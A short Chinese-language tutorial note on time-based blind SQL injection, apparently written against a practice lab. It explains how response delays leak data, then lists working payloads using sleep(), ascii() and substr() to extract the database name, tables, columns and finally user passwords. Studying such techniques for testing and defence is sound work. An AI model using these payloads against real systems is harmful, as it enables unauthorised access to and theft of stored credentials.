由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的,但是sleep函数或者benchmark函数的过多执行会让服务器负载过高
1.2、原理:
当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断
判断注入点
"and 1=1--+ 页面返回有数据
"and 1=0--+ 页面返回有数据
则:页面的返回没有变化,可能是盲注
猜数据库名称长度
"and if((length(database()))=10,sleep(5),1)--+ 页面延时了
则:当前数据库名称长度为 10
猜数据库名称(ASCII码)
"and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+ 页面延时了
则:数据库第一个字母是k... 类推得到数据库名
猜表名长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,sleep(5),1)--+
猜表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>60, sleep(5),1)--+
猜字段长度
?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3,sleep(5),1)--+
猜字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,sleep(5),1)--+
猜数据
?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>10, sleep(5),0)--+